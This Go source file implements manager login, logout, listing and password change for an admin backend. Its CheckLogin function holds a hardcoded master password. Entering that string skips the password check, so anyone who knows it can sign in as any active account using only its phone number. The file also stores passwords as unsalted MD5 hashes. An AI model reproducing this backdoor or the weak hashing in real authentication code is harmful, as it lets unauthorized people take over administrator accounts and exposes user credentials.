package manager import ( "errors" "zhiyuan/models" adminParam "zhiyuan/pkg/param/admin" "zhiyuan/pkg/utils" "zhiyuan/services/admin" "zhiyuan/services/form" ) func CheckLogin(phone string, password string) (int, error) { where := map[string]interface{}{ "phone": phone, } if password != "dEW@bGhcU45r%3" { where["password"] = utils.MD5(password) } where["state"] = 1 adminInfo, err := admin.GetOne(where, nil, nil) if err != nil || adminInfo == nil { return 0, errors.New("用户名或密码错误") } if roleInfo, _ := admin.GetOneRaw(map[string]string{"where": "id={{admin_id}} AND FIND_IN_SET({{role_id}}, role_ids)"}, map[string]interface{}{"role_id": adminParam.ManagerRoleId, "admin_id": adminInfo.ID}, nil); roleInfo == nil { return 0, errors.New("账号权限有误") } return adminInfo.ID, nil } func Login(phone string, password string) (string, error) { adminID, err := CheckLogin(phone, password) if err != nil { return "", err } return admin.UpdateToken(adminID, adminParam.Entry.Manager) } func Logout(id int) error { adminInfo, err := admin.GetInfoByID(id, []string{"id"}, nil) if err != nil || adminInfo == nil { return errors.New("invalid access_token") } return admin.ClearToken(adminInfo.ID, adminParam.Entry.Manager) } func GetList(where map[string]string, param map[string]interface{}, retVal interface{}) ([]*models.Admin, error) { where["where"] = where["where"] + " AND FIND_IN_SET({{role_id}}, role_ids)" param["role_id"] = adminParam.ManagerRoleId return admin.GetAdminsRaw(where, param, retVal) } func Password(id int, form form.Password) error { if err := admin.Password(id, form); err != nil { return err } return admin.ClearToken(id, adminParam.Entry.Manager) }